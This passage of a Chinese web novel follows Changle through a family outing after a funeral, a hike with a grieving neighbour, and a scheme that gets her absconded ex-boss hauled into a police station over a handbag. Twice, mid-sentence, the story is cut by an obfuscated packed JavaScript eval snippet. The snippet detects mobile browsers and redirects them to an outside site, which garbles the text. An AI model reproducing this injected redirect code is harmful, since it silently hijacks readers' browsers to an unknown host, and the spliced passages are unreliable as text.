姥爷一时哑然,只得摆摆手,申请退赛。 常乐挤到姥姥和林文娟中间,一手挽着一个。 她说:“妈,姥姥,别为还没发生的事情难过。咱们还要在一起生活很久呢,就算到了地底下,咱们一家人还能团聚。这不是很好吗?” 姥姥抹了抹眼泪,说:“那你还是住得近一点吧,跟我们挤挤也行。不过,要撬就撬你姥爷的坟,可别撬我的。我喜欢清净。” 姥爷:“……” 走到陵园门口时,常乐回头看了一眼,长长的石阶上,有个人影在缓缓向下走。 那棵樱花树在他身后,仿佛天边漂浮着一团粉色的云,微风轻拂,花瓣如雪纷飞。 48. 48 一家人从陵园出来,驱车回到市区,找了家小馆子吃饭。桌上,常建民提议,趁着春光正好,一家人去慈湖公园逛逛。 常乐愕然:“这合适吗?” 姥姥兴致勃勃地说:“怎么不合适?你看今天天气多好啊,不冷不热的,正好出去晒晒太阳。” “我的意思是,易叔叔才刚过世……你们去吧,我没什么心情。” 常乐也解释不清,只觉得上午刚送完葬,下午就去春游,显得挺没心没肺的。玩得越开心,她越有负疚感。 林文娟说:“心情不好才更要出去走走啊,老是闷在家里,会憋出毛病来的。” 常乐嘀咕道:“话是没错啦,可是,干嘛要这么着急呢?明天是周末,照样可以出去玩。” 姥爷摆摆手,“我昨天刷抖音,看到慈湖的樱花开了大半,看樱花的人已经很多了。等到周末,公园里肯定是人山人海。我可不想凑这个热闹。” “最重要的是,”常建民可怜巴巴地望着常乐,“我难得请一天假,这种忙里偷闲的机会不多了。” 既然大家意见一致,常乐也不好扫他们的兴。 “好吧……不过,樱花看两眼就得了,我想去划船。” -- 导航显示,慈湖公园门口那条大道已经堵成了猪肝红。于是,常建民找了个路边停车场,把车靠边停好,一家人步行前往公园。 路过一家水果店,姥姥打算去买几样水果,常乐一进店,就被一箱红彤彤的草莓夺了魂儿。她咽了咽口水,盯了半晌,都舍不得挪开视线。 姥姥实在看不下去,嫌弃道:“哎呀,瞧你那馋样儿,想吃就买点吧。”她拿起一个塑料盒扔给常乐,“自己挑,看仔细点,别挑坏的。” 结账时,姥姥骂骂咧咧:“几个小草莓,比我这几袋子加起来都贵!” 常乐东张西望:“哪有洗手间啊?我去洗洗。” 她洗完草莓出来,又在路边买了根淀粉肠——家人们都表示嫌弃,婉拒了她的分享。她三两口吃完后,又盯上了旁边的臭豆腐摊。 “是谁说出来玩没心情的?”林文娟忍不住发笑,“我看你胃口好得很呐。” 常乐讪讪地收回视线。 是哦,她今天要保持忧郁人设。 慈湖公园外的滨湖路两旁种满了樱花树,樱花已经开了七成,路上游人如织,有拖家带口的,有遛娃遛狗的,有拍照拍视频的,还有手牵手的小情侣,在树下找各种角度自拍。 “咱们也拍一张合影吧。”林文娟提议道,“上次拍全家福,还是在乐宝上大学那年,都过去好久了。” 大家一致同意。于是,他们挑了棵开得最盛的樱花树,在树下一字排开。 林文娟随手揪住一个遛狗的大哥,请他帮忙拍张照,大哥欣然同意,把狗夹在两腿中间,接过林文娟的手机,对着五个人咔咔一顿连拍。 向大哥道谢后,林文娟拿回手机,放大照片。 几只脑袋凑了过来。 大家都沉默了。 姥姥的脸被晒得发红,姥爷的外套下摆卷进了裤腰里,林文娟的脸被乱飞的头发糊住,常建民的镜片反光严重,完全看不见眼睛。 常乐更无语。她的嘴角还残留着淀粉肠的酱汁,居然没有一个人提醒她。 沉默良久,常乐一句话总结:“这就是找男人拍照的下场。” 林文娟也追悔莫及。直男的审美简直令人绝望。 “要不,再找个人帮忙拍一张?”她征求大家的意见。 “算了,回去精修一下吧。”常乐抽出纸巾,擦了擦嘴角,“赶紧去划船吧。” 他们穿过公园大门,沿着湖边走百米远,就看到了租船点,收费处已经排起了长队。好在他们要坐的是五人座的大船,前面等候的人不多。 过了半个小时,一家人穿上救生衣,登上了一艘玫红色的火烈鸟造型的脚踏船。 姥姥刚一坐稳,就开始算账:“一个小时六十块,交了一百块的押金,超时还得扣钱。”她低头看了眼手机,“现在是两点四十,咱们提前二十分钟就得往回划,也就是三点二十……” “妈。”林文娟打断她的喋喋不休,“来都来了,就敞开了玩呗,想玩多久都行。” 脚踏船只有两个踏板,由林文娟和常建民负责蹬,常乐坐在前面,负责调整方向。 湖面波光粼粼,小船停在湖中心,随着水波微微荡漾。湖水清澈得能看见底下幽绿的水草,偶尔有一群小鱼游弋其间,万物皆悠然自得。 船中间有张小桌子,姥姥把洗好的水果摆在桌上,解开袋子。几只手纷纷伸过来,不一会儿,装草莓的盒子就见底了。 常乐离桌子远,够不到,林文娟便拿起一个最大的草莓,甩干上面的水,塞进她嘴里。 清甜的汁水瞬间溢满口腔。 林文娟又剥了个砂糖橘,对半掰开,挨个塞进她嘴里。 “现在心情好点了吧?”林文娟问她。 常乐咀嚼着砂糖橘,感受着酸甜的滋味在味蕾间绽放,嘿嘿笑了几声。 虽然有点不好意思承认,但此刻,她真的感觉无比惬意和自在。 林文娟给她塞了两个砂糖橘,慢悠悠地说:“如果今天下葬的人是我,看到你们玩得这么开心,我在地底下也会感到高兴的。” 常乐一惊,急声说:“妈,你瞎说什么呢?别诅咒自己啊,要避谶懂不懂?” 林文娟捋着乱飞的头发,说:“别那么大惊小怪,你又不是小孩子了,人都是会死的,这是常识。等你活到我们这个年纪,多参加几场葬礼,你就会明白,最难接受的,不是自己的死期将至,而是身边的朋友亲人的突然离世。” 常乐低着头,看着手中的砂糖橘,想到若干年后,亲人们一个接一个离世的画面,心头忽然涌起一股巨大的悲伤。 林文娟继续说:“难道因为有人死了,我们就得永远沉浸在悲伤之中吗?活着的人还得继续生活啊。不管是我们,还是易诚,都要早点从阴霾中走出来,重新开始,好好生活。” 常建民点点头,“作为一个父亲,我相信易志刚也是这么想的。要是易诚从此一蹶不振,他肯定比谁都着急、都自责。” 姥姥唏嘘道:“易诚这孩子,以前多阳光开朗一小伙儿啊,自从他爸病了,他就像变了个人似的,不爱说话,也不爱笑了。” 常乐闷不吭声,剥开手中的砂糖橘,一整个儿塞进嘴里。 酸甜的味道只停留在舌尖,心头的酸涩却怎么也压不下去。 “反正明天是周末,你也没什么事儿,要不带易诚出去走走?”姥姥提议道。 常乐犹豫不决:“他可能想一个人待着,不希望被人打扰。” 姥姥说:“他怎么想是他的事。你多陪陪他,带他到户外呼吸一下新鲜空气,总归是有帮助的。” 姥爷接话道:“要不带他来划船吧?” 两个人,一艘船,在湖中心随波荡漾,这画面,想想都觉得…… “太暧昧了。”常乐一票否决。 “要不去看电影?”林文娟突发奇想,“找一部催泪大片,以毒攻毒,让他痛痛快快哭一场。” 常乐苦笑道:“他本来就要抑郁了,还看致郁的电影,简直是雪上加霜。” 常建民沉吟片刻,说:“干脆带他去爬山吧,户外运动有助于排遣压力、发泄情绪。我看青云山就挺适合的,不高,山顶风景不错,还能远眺长江。” 青云山离市区不远,开车过去大概半个小时。常乐高中毕业时跟同学去过一次,环山一圈只需要半天时间。 “我试试吧。”她勉强答应,“不过,他要是不愿意出门,我也不能强人所难。” -- 第二天一早,常乐吃过早饭,就在易诚家门口来回晃悠。 不等她想好开场白,门就开了,易诚牵着图图走了出来。 常乐脱口而出:“去爬山吗?” “走走走。”易诚冲她一挥手,大步走向停在路边的大众车。 常乐愣在原地。 这么爽快就答应了?那她刚刚精心设计的台词又算什么?算她戏多? 易诚将图图塞进后排,自己坐上主驾。等常乐坐上车后,他问:“去哪儿?” “青云山怎么样?”常乐打开手机导航,“现在不堵车,半个小时就能到。” “可以。”易诚想都没想就同意了,示意她把手机卡在支架上。 小车缓缓驶入主干道,常乐看着易诚的侧脸,忍不住问:“你本来也要出门?” 易诚点点头,“对,不过我还没想好去哪儿。街道办刚刚给我打电话,说待会儿会有领导来慰问我,给我送米送油什么的,还有人来拍照,让我把家里收拾干净点……我吓得赶紧出门,不管去哪儿,反正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15840419|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能在家里待着。” 常乐哈哈大笑起来,调侃道:“人家给你送温暖,你还不乐意了?” “别,我最怕应付这种事。”易诚重重地叹了口气,“我不需要米面粮油,更不需要慰问。” 常乐侧过身,注视着他,“那你现在最需要什么?” 沉默片刻,易诚缓缓地说:“我需要忘记一切,什么都不想,哪怕只有一天。” “好,那我们今天就来一场……”常乐思索片刻,“高中毕业之旅。” “唔?”易诚没听懂,“跟高中有什么关系?” 常乐眉飞色舞地比划道:“让我们回到十八岁,回到高考结束的那个夏天。你家里还没出事,我也没有被社会毒打。我们都很单纯,对大学生活充满憧憬,对未来充满希望。” 易诚笑了,弯起的眼眸里闪着光。 “那你可能要忍耐一下了,我那时候是个傻直男,脑子一根筋,心里只有游戏和滑板。” 常乐大大咧咧地说:“没事儿,我那时候也挺矫情的。我记得我的个性签名是,‘我的忧伤你不懂,你的明媚我不配。’现在想想都觉得羞耻。” 易诚放声大笑起来。 -- 青云山位于城西,毗邻长江,登山口有一条石阶蜿蜒向上,爬到尽头,有一段平缓的环山小径,两旁绿树成荫,枝繁叶茂。 偶尔能闻到一阵清甜的香气,仰头望去,树上垂下一簇簇雪白的槐花。有几个大爷举着竹竿将槐花打落,常乐从地上捡起一簇,尝了尝,唇齿间传来微微的香甜。 易诚蹲在地上,给图图喂了点水。图图吐着舌头,哼哧哼哧地喘着气。 再往上,是一段土路,地面还算平整,只是要不停地上坡下坡,有的地方坡度还挺陡,一不留神就会摔个大屁墩儿。 两人来到一段长长的下坡面前,前面有十几个小孩连摔带滑,激起尘土飞扬。常乐望而生畏,不敢贸然往下冲,只得沿着土坡的边缘,扶着枯瘦的树干,小步小步地往下挪。 易诚走在前面,转过头,向她伸出手。 常乐犹豫了一瞬,也向前伸出手。 他攥住她的胳膊,像扶老奶奶过马路一样,小心翼翼地将她搀扶下去。 果然是个傻直男。 “哎,算了算了,我还不如扶着树呢。”常乐抽回自己的胳膊,拽住身边的一根粗藤,蹲下身,压低重心,慢慢往下挪。 在她身侧,图图如同一枚小炮弹俯冲下去,转瞬之间,就冲到了坡底,毫发无损。 它得意地抖了抖身上的灰。 易诚索性放开手脚,迈开大步冲了下去,居然也平安地到达了终点。 他冲常乐招招手,喊道:“冲下来更快!” 常乐不敢冒险,依旧保持着老奶奶的站姿,哆哆嗦嗦地伸腿试探。 “别怕!”易诚再次喊话,“冲下来!我接着你!” 他站在长坡的尽头,张开双臂。 常乐心一横,小心地挪到土坡中间,屈腿、弓背、大步向下冲去—— 在重力的牵引下,她飞快地摆动双臂,迈开双腿,偶尔踏入一个浅坑,身子一歪,很快就能在下一次的蹬踩中恢复平衡。 快到坡底时,她的速度越来越快,根本停不下来。 易诚像保护小鸡的老母鸡一样,双臂大开,瞄准她冲下来的方向,俯身下蹲—— 一阵剧烈的撞击。 易诚牢牢地抱住了她,踉跄着倒退了几步,终于站稳。 撞进他怀中的那一瞬,常乐脑子里忽然闪回一幅画面,那是她在登山口看到的一块警示牌—— 遇到野猪的应对策略: ……野猪极其凶悍,冲击速度极快,正面对抗时,能将人的肋骨撞断…… 刚刚她俯冲下来的姿态,好像一只发狂的野猪啊。 常乐从易诚怀里挣脱,低着头不敢看他,耳根烫得厉害。 “你那个……肋骨还好吗?” “肋骨?”易诚摁了摁肚角,觉得莫名其妙,“没事儿啊。” “没事儿就好。” 常乐拍了拍裤子上的灰,又检查了一下自己的背包,试图用忙碌来掩饰尴尬。 一转头,刚刚那串灰扑扑的小孩都坐在树底下,好奇地看着他俩。 在这群小孩中间,方凛手杵着一根登山杖,背倚着一棵松树,冲他们点了点头。 49. 49 这一群小孩水也不喝了,苹果也不啃了,瞪着大眼睛,齐刷刷地盯着他俩。 方凛也是,脸上没什么表情,但眼里分明藏着意味深长的笑。 常乐的耳朵更烫了。 看什么看?没见过野猪撞人吗? 她硬着头皮走上前,跟方凛打了个招呼:“嘿嘿好巧啊,你怎么也在这儿?” “我带队登山,走十二公里大环线,青云山是第一站。”方凛说话一向简洁。 “所以,这群小孩就是你的队员啊?”常乐环顾四周,粗略数了下,至少有十五个,目测都是小学生。 “对。”方凛的视线越过她,落在易诚身上,“你们也是来登山的?” “是啊,闲着没事,出来锻炼一下。”常乐哈哈干笑两声,又把话题转到他身上:“对了,我刚刚看到有几个小孩都摔倒了,没事儿吧?” 方凛:“没事儿,都买过保险了。” 常乐:“……” 哥,你心真大啊。 方凛走到小孩面前,拍拍巴掌,声音洪亮:“都休息好了吧?这才到第一站,接下来,我们还有三座山要爬。所有人起立!” 小孩们垂头丧气地爬起来,将水杯和啃了一半的苹果都塞进背包里。 方凛看向常乐和易诚,说:“我们先走了。” “嗯嗯,你去忙吧。”常乐赶紧挥挥手。 小孩们自觉排成两条队,跟在方凛身后,继续爬坡。常乐和易诚在一片树荫下坐下,从包里掏出矿泉水,咕噜咕噜地喝了起来。 易诚给图图倒了一碗水,又从包里掏出鸡肉干,撕成小片喂它。 “我还没有方凛的微信,”他突然开口,“你能把他推送给我吗?” “行啊。”常乐爽快地答应,掏出手机打开微信,又觉得奇怪:“你加他干嘛?” 易诚:“我看那群小孩皮糙肉厚的,挺扛摔,又能吃苦,是练轮滑的好苗子。” 常乐恍然大悟:“哦,你想撬墙角?” 易诚笑了,“这叫资源共享。轮滑和登山又不冲突。” 常乐点点头,手指往下翻,很快找到方凛的微信,转发给了易诚。 正要收起手机,屏幕上忽然弹出珍姐的名字,紧接着,手机震动起来,响起熟悉的铃声。 珍姐很少在白天给她打电话,莫非是出什么事了?常乐心头一紧,急忙接听。 “常乐,你看我直播间了吗?他们家终于有人出现了!”珍姐的声音透着兴奋。 “真的?”常乐腾身而起,在树下来回踱步,语气激动,“能看到是谁吗?” “都打了码,看不到脸。我现在准备过去一趟。你今天有空吗?要不一起过来?” 常乐看了眼易诚,面露难色。 说好了带他爬山,结果爬到一半自己走人,实在太不讲义气了。 可是,讨薪事关重大,让珍姐一个人冲锋陷阵,她心里也过意不去。 电话那头,珍姐察觉到她的为难,安慰道:“来不了也没事儿,我先去打探敌情,等有确定消息了,咱们再约个时间一起过去。” 挂断电话,常乐犹豫了下,打开抖音,点进珍姐的直播间。 右上角已经有一千多观众了,弹幕也在不断刷新: 【刚刚是不是出来个人?】 【是个小孩?我没看错吧?】 【恭喜主播,苦守寒窑十八年,终于等到负薪汉!】 【什么寒窑?这是大别野!】 【期待主播手刃仇人!】 【把老赖的照片贴出来,大家一起转发!】 常乐越看越心潮澎湃,一秒钟都坐不住,恨不得骑火箭冲到江城,给老孙家一人一个大逼斗。 哦,不对,小孩除外。 易诚察觉到她的焦躁不安,问:“出什么事了?” 常乐把手机举到他面前,解释道:“我前老板消失了几个月,现在终于有了点线索。他还欠我两个月工资没发呢。” 易诚站起身,拍拍屁股上的灰,说:“那你还等什么?赶紧去啊!小心他又溜了。” 常乐犹豫不决:“可是,你一个人……” 易诚调侃道:“你还怕我走丢了不成?” 常乐终于下定决心:“行吧……那咱们下次再一起爬山。” 她退出直播间,点开打车软件,又遇到新的难题:顺风车都排到下午三点了,到那儿天都黑了,专车又太贵,单程要两百多。 自己开车最方便,可是她没有开过高速,心里有些发怵。 易诚见她眉头紧皱,半晌不语,主动询问道:“打不到车吗?要不我送你吧。反正我今天也没有别的安排。” 常乐心中一喜,急忙问:“你开过高速吗?” 易诚点点头,牵起图图的狗绳,说:“以前送我爸去江城的一家医院做康复治疗,每周都要跑一趟,对路况很熟悉。” “太好了!”常乐赶忙背起背包,催促道,“那咱们现在就去。” 两人一狗沿着原路下了山。 易诚开车很稳,上了高速后一路疾驰,不到两个小时就抵达了别墅小区外。 已经过了午饭时间,他们在附近找了家肯德基,点了两份汉堡套餐,还给图图单独点了只烤鸡,边吃边等珍姐。 可乐喝到一半时,珍姐推门而入,大步奔向常乐坐的桌子,满脸兴奋地说:“你猜怎么着?老鳖孙也在!这下真是钓到大鱼了!” “太好了!”常乐将杯中的可乐一口气吸完,两眼放光,摩拳擦掌,“成败在此一举了!” 珍姐注意到她旁边的易诚,“这位是?” “我朋友。”常乐介绍道,“他开车送我过来的。” 珍姐上下打量他一眼,表示满意:“咱们正好缺个打手,我看他这体格,对付老鳖孙绰绰有余。” 易诚和常乐对视一眼。 常乐弱弱地问:“要动手啊?” 珍姐:“不然呢?你觉得老鳖孙会乖乖把钱给我们?” 常乐盯着她,半调侃半认真地说:“珍姐,我觉得你身上有股匪气。放过去,你高低得是个土匪头子。但是现代社会,可不兴打打杀杀那一套了。” 珍姐摇摇头,“你呀,还是学生思维,总想着按规则办事。但是,这个社会有时候就是不讲规则,你想维护自己的权益,就得以暴制暴。” “那你总得想想后果吧?”常乐耐心劝她,“就算你通过以暴制暴拿到钱了,老孙会善罢甘休吗?到时候他报警说你敲诈、抢劫、故意伤害,随便一个罪名,就够你蹲上几个月的。万一留下了案底,你以后怎么办?你女儿怎么办?” 珍姐陷入了沉默,搁在桌上的双手不自觉攥成拳。 她忿忿地说:“那你说怎么办?” 常乐思索片刻,提议道:“咱们先去他家看看。直播间里打了码,我都认不出来。” 珍姐站起身,“行,正好我下午请了假,我带你们进去。” 他们收拾好餐盘,推门而出。珍姐随身带着工作牌,跟保安打了招呼后,带着两人一狗从侧门进去了小区。 “你这中介的身份还挺管用的。”常乐羡慕地说。 “是啊,就像唐僧的通关文牒。”珍姐收起工作牌,“我干了一个多月的中介,虽然现在一套房子没卖出去,但是租出去了八套,能拿两千多的提成呢。” 常乐由衷地赞叹道:“真好。珍姐,我觉得你挺厉害的,能适应各种环境,还能越活越好。” 珍姐笑了笑,没说话。 很快,他们走到那栋别墅附近,蹑手蹑脚地钻进院外的一片灌木丛中,蹲下身藏好。图图被易诚卡在两腿之间,嘴筒子也被他捏住,发不出一丝声音。 从枝叶的缝隙间,常乐看到一楼大门半掩着,透过窗户,能看见几个人影在屋里走动。仔细听,还有播放新闻的声音。 不一会儿,从大门里跑出一个小女孩,十岁左右,身后还跟着一条白色比熊犬。 珍姐掏出手机,打开照片,比对之前李玉婷给她发的照片。 “是他女儿。”她语气确定。 也许是察觉到附近有人,比熊朝着他们藏身的方向吠叫了起来。 三个人紧张地屏住了呼吸,图图也变得焦躁不安。 小女孩没有在意,自顾自地荡起了秋千,倒是屋里的人听得烦了,对着外面呵斥一声:“叫什么叫?吵死了!” 常乐和珍姐激动地对视一眼,手攥在了一起。 是老孙的声音! 不过,常乐很快冷静下来。就她那点战斗力,连那只小小的比熊都打不过,更别说私闯民宅痛殴老孙了。 正胡思乱想着,从屋里又传出一道女声:“果果,赶紧去换衣服,钢琴课要迟到了。” 常乐迅速拉回思绪——这是前公司的财务大姐、老板娘的声音。 珍姐冷笑道:“呵,这一家子都到齐了啊。” 过了一会儿,老板娘推开门,出现在了门口。她穿着一件长风衣,斜背着一个小黑包,包上的金色logo格外显眼。 常乐脑中灵光一闪,小心翼翼地掏出手机,对准老板娘,放大镜头,拍了张特写。 “没齐。”她收起手机,小声说,“还缺个三姐呢。” 珍姐看向她,不解地问:“谁啊?你认识吗?” 常乐嘴角勾起坏笑:“李玉婷啊。” 等老板娘和小女孩都进屋后,常乐开始介绍自己的计划:“珍姐,你还有李玉婷的微信吧?老孙重新现身这件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853016|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,你跟她说了吗?” 珍姐摇摇头,“没,我怕她串通老鳖孙,给他通风报信。” 常乐一时失笑,说:“老孙把她坑得这么惨,她还会帮他?不太可能。” 顿了顿,她继续说:“咱们不能直接找老孙,毕竟他已经跟公司没关系了,但是他跟李玉婷还有一层关系啊。” “所以,你想让她来闹事?”珍姐沉吟片刻,“我觉得没什么用。老鳖孙养小三、让小三背锅这一系列操作,老板娘肯定都知道,并且默许了。李玉婷来闹事,只会自取其辱。” 常乐故作高深道:“我没打算让她闹事,我只想让她把钱要回来。” 珍姐一脸懵:“怎么要?” 常乐哼笑一声。 “哎哟,你就别说一半藏一半了。”珍姐摇晃着她的胳膊,灌木丛发出簌簌的轻响。 那只比熊又狗叫起来。图图想跟它对骂,又发不出声音,只能低低地呜咽着。 “咱们先出去。”常乐猫着腰,从灌木丛中爬了出来,又赶紧躲到一棵树后。 比熊骂得更凶了。 易诚抱着图图钻了出来,松开了它的嘴筒子。图图立马对着比熊狂吠起来,尽情发泄自己的怒火。 “走走走。”常乐冲两人招招手,趁着屋里的人出来之前,飞快地逃离现场。 直到走出小区大门,常乐才看向珍姐,重新开口:“上次仲裁的裁决书说,如果李玉婷半个月内没有还钱,我们可以申请强制执行。现在已经过了最后期限了,你就拿这个来威胁她,让她亲自找老孙要钱。” 珍姐打开微信,找到跟李玉婷的对话框,刚输入几个字,手指又悬停在屏幕上。 “可是……”她犹豫了,有些事仍想不通,“老鳖孙会乖乖给她钱吗?” “我有办法。”常乐凑到她耳边,声音压得很低,“你就跟她说……” 易诚好奇地看着她们,伸长脖子,想凑过来偷听,被常乐一巴掌推开了。 “连我都不能说啊?”他一脸委屈。 “不能。”常乐挑挑眉,“我们干坏事呢,小孩可不能学。” 她拉着珍姐走到一旁,快速说完自己的计划。 珍姐愣愣地张开嘴,半晌,就蹦出两个字:“牛逼。” “哼。”常乐嘴角一歪,露出邪恶反派的奸笑,“她想拿我们当枪使,让我们冲锋陷阵,自己坐享其成,凭什么?我们也可以拿她当枪使啊。” -- 三人一狗又回到了肯德基,点了一桶炸鸡,边嗦鸡骨头边等李玉婷。 一个小时后,李玉婷风尘仆仆地赶到了。 “这儿!”珍姐举起手招呼她。 李玉婷走到他们面前,将手中的纸袋往桌上一甩,“喏,东西我都带来了。” 常乐摘下手套,用纸巾擦了擦手指和嘴角,从纸袋中抽出一个黑色纸盒,打开盒盖,里面的白色包装纸和黑色丝绒袋都还在,底下还有一张小卡片,小票和发.票也保存完好。 常乐拿起小票,啧啧感叹:“一个包要四万五?老孙真舍得。” 李玉婷没好气地说:“又不是真的。” 常乐一针见血道:“他买的是真的,只不过,送你的是假的。” 李玉婷被戳了肺管子,气得拧眉瞪目,常乐赶紧补充一句:“但是,从现在起,你必须把它当真的。” 李玉婷肩膀一垮,迟疑地问:“可是……警察能信吗?” 常乐给她分析:“你看,你有正版的购物小票和发.票。去年七夕,你还发了个朋友圈,炫耀自己收到了这个包,老孙还出镜了。这些都是证据。” “但是现在,”常乐话音一顿,掏出手机,给她看照片,“这个包,出现在了老板娘身上,而她又拿不出购物小票。这不就形成了完美的证据闭环了吗?” 李玉婷低着头沉默不语,半晌,才嘟囔道:“你怕是宫斗剧看多了吧?哪有那么简单?警察又不是傻子。” “所以啊,你得演得逼真一点儿。”常导演兴奋地拍了下巴掌,指着女主角李玉婷,“首先,赶紧补个妆。你看看你,灰头土脸的,哪有一点小三该有的样子?” “其次,”她双手握住李玉婷的手,用力晃了晃,“宫斗剧早就过时了。我最近在看职场剧,什么栽赃啊、造谣啊、抢功啊、甩锅啊,我都学得融会贯通了,就等着付诸实践呢。” -- 十分钟后,李玉婷深吸一口气,走进了派出所。 她找到前台负责接警的民警,还没开口,鼻头涌起一股酸涩,眼眶也开始泛红。 “我要报警!”她声音带着哭腔,“我的香奈儿包包被人偷了,原价要四万五呢!偷包的人之前一直躲在外地,今天刚回来,就住在星海湾小区!” 50. 50 孙宇顺将公司关停、一走了之后,设想过很多次自己被抓的情景,但是从来没想过,是在自己的老丈人家门口。 被指控的罪名还是,偷了前任情人的名牌包? 孙宇顺气极反笑:“我说警察同志,你们能不能搞清楚了再上门?这样对我的影响很不好。这个包是我买的,我手机里都有购买记录,现在居然反过来说是我偷的?简直离谱!” 李玉婷从一个高个民警身后探出脑袋,尖声道:“你有没有点法律常识?这个包你已经送给我了,就是我的!你趁着我出门旅游两天,把自己的行李都带走了,还顺走了我的包,这就是偷!” 一位民警严肃地说:“这位李女士说,她的包现在在你老婆身上,她还提供了照片证据。麻烦让她出来一下,我们需要对她进行问话。” “不是,你们这……”孙宇顺一时噎住,不知该如何辩解,只能一口咬定:“这是我买的,就是我的东西,我想给谁就给谁,你们管不着!” 玄关处,老丈人端着茶杯,缓缓走了过来,问:“小孙,什么事啊?警察是来找你的?” “没事儿,都是误会。”孙宇顺急忙回头,讪笑道,“爸,您先回屋休息吧,马上就解决了。” 李玉婷扯着嗓子尖叫:“老东西!你女婿在外面养小三,还偷小三的包,真他妈不要脸!” 孙宇顺一时气急,伸手去捂她的嘴,被两个民警反手钳制住,怒斥道:“干什么干什么?当着警察的面还想动手吗?” 局面陷入一片混乱。 就在这时,身后传来”吱呀“一声,院子的铁门开了,邹晓琴带着女儿果果走了进来。 李玉婷回过头,一眼就认出她身上的包:“就是这只!香奈儿的金球羊皮大mini!化成灰我都认得!” 邹晓琴看到这场景,脸色一沉,不动声色地将果果拉到了身后。 此刻,直播间里已经炸开了锅—— 【帽子叔叔终于来了!颤抖吧,老赖!】 【我滴妈呀!好刺激!】 【就是听不到他们在说什么,有人懂唇语吗?】 【帽子叔叔好像在检查那个女人的包。】 【还是香奶奶呢,一只要好几万。】 【难道要学江南皮革厂,拿着皮包抵工资?】 【哈哈哈哈哈精彩!】 派出所大门外,易诚假装遛狗的路人,在路边放风。常乐和珍姐蹲在一辆警车后面,目不转睛地盯着手机,心情既紧张又激动。 在看到民警将老鳖孙夫妇带走后,她们更兴奋了,直播间里也在欢呼庆贺,热闹的气氛仿佛过年。 常乐瞥了一眼右上角,惊喜地发现观看人数已经突破了两千。 “不错啊,起号成功了。”她向珍姐道喜。 珍姐苦笑道:“我大号发了那么多视频,流量还不如这个小号。看来我以后要走上职业讨薪人这条赛道了。” 又过了十多分钟,易诚拍了拍警车,提醒她们:“来了来了。” 常乐从车后探出脑袋,举起手机,对准正在走进派出所大门的老鳖孙夫妇,一连拍了几张路透照。 公司解散那天,公司群也随之解散了,他们这群无棚可归的牛马们新建了个维权群。 一开始,群里每天都有上百条讨论,大家都义愤填膺,恨不得掘地三尺将老鳖孙揪出来。 慢慢地,有人退了群,群也沉寂下来。珍姐偶尔会分享一些维权途径和法律知识,但响应者寥寥。 常乐想,或许大家都开始了新生活,又或许,他们只是累了。这万八千钱的工资,没了就没了吧,懒得折腾了。 不管怎么说,常乐还是觉得有义务在群里播报一下最新进度。 她选出一张正脸拍得最清晰的照片,发到群里,并呼吁道:【同志们,老鳖孙终于露头了!就在建设路派出所!想要工资的人速来!这是我们最后的机会了!】 珍姐正躲在派出所大门后,偷听里面的动静。手机一震,她拿起一看,不由得皱起眉头。 她溜到常乐身边,埋怨道:“你干嘛要跟他们说?他们又没出力,凭什么坐享其成?” 常乐一愣,解释道:“他们也是受害者啊。大家都是一条船上的,应该信息共享啊。” 珍姐考虑的问题更现实:“你傻啊,就算要通知他们,也得等李玉婷把钱要到手了再说。她顶多能要到四万五,根本不够大家分的。” 常乐一脸担忧道:“等李玉婷要到钱,老鳖孙就该放走了。到时候再通知他们,也来不及了。” “那是他们的事,我们要回自己的钱就行。”珍姐提醒她,“你可别忘了,申请仲裁的只有四个人,除了你我,就是小周和小杨。其他人都干嘛去了?自己的利益自己不维护,都等着别人来当出头鸟,凭什么?” 常乐哑口无言。 内心深处,她觉得珍姐说得有道理。但从道义上,又觉得过意不去。 易诚接替了珍姐躲在门外偷听的任务。他突然回过头,“哎”了两声,冲她们招招手。 常乐和珍姐暂时放下争论,小跑到他身边,问:“进展到哪一步了?” “还在对骂阶段。”易诚小声说,“警察嫌他们太吵了,要把他们带到调解室去。咱们还跟吗?” “跟!”常乐不假思索地说。 她直起身,昂首挺胸地走进派出所大厅,环视一圈。 李玉婷站在调解室门口踟蹰不前。 常乐见到她,立刻戏精附体,快步奔向她,大喊着:“小婷,我来晚了!” 李玉婷仿佛见到了救星,配合地伸出手,拉住她说:“等你半天了!” 她把常乐带进调解室,跟民警解释道:“这是我好闺蜜,我的事她最清楚了。” 民警点点头,示意她们坐下。 在调解桌对面,孙宇顺和邹晓琴一脸阴沉地看着常乐。邹晓琴甚至还用鼻孔发出一声冷嗤。 孙宇顺嘲讽道:“警察同志,有没有搞错?这是我们公司的员工,什么时候变成了这个臭表子的闺蜜了?” “你说话放干净点。”民警厉声警告他。 “你们公司?”常乐眨着大眼睛,一脸无辜,“你有什么公司啊?” “我……”孙宇顺顿时哑然。 民警轻咳两声,开口道:“事情的经过呢,我差不多搞清楚了。这位李女士,跟这位孙先生之前是男女朋友关系——” 邹晓琴冷冷打断道:“什么男女朋友?她就是个臭不要脸的小三!” 常乐不甘示弱,回击道:“你老公也不是什么好东西,骗财又骗色!死渣男!臭狗屎!” 她骂完只觉得浑身舒爽。要是搁以前,她哪敢这么跟老板说话啊? “别吵了!”民警拍拍桌子,“把你们叫进来,是来解决问题的,不是来吵架的!” 双方终于安静下来,但脸色都忿忿的,明显不服气。 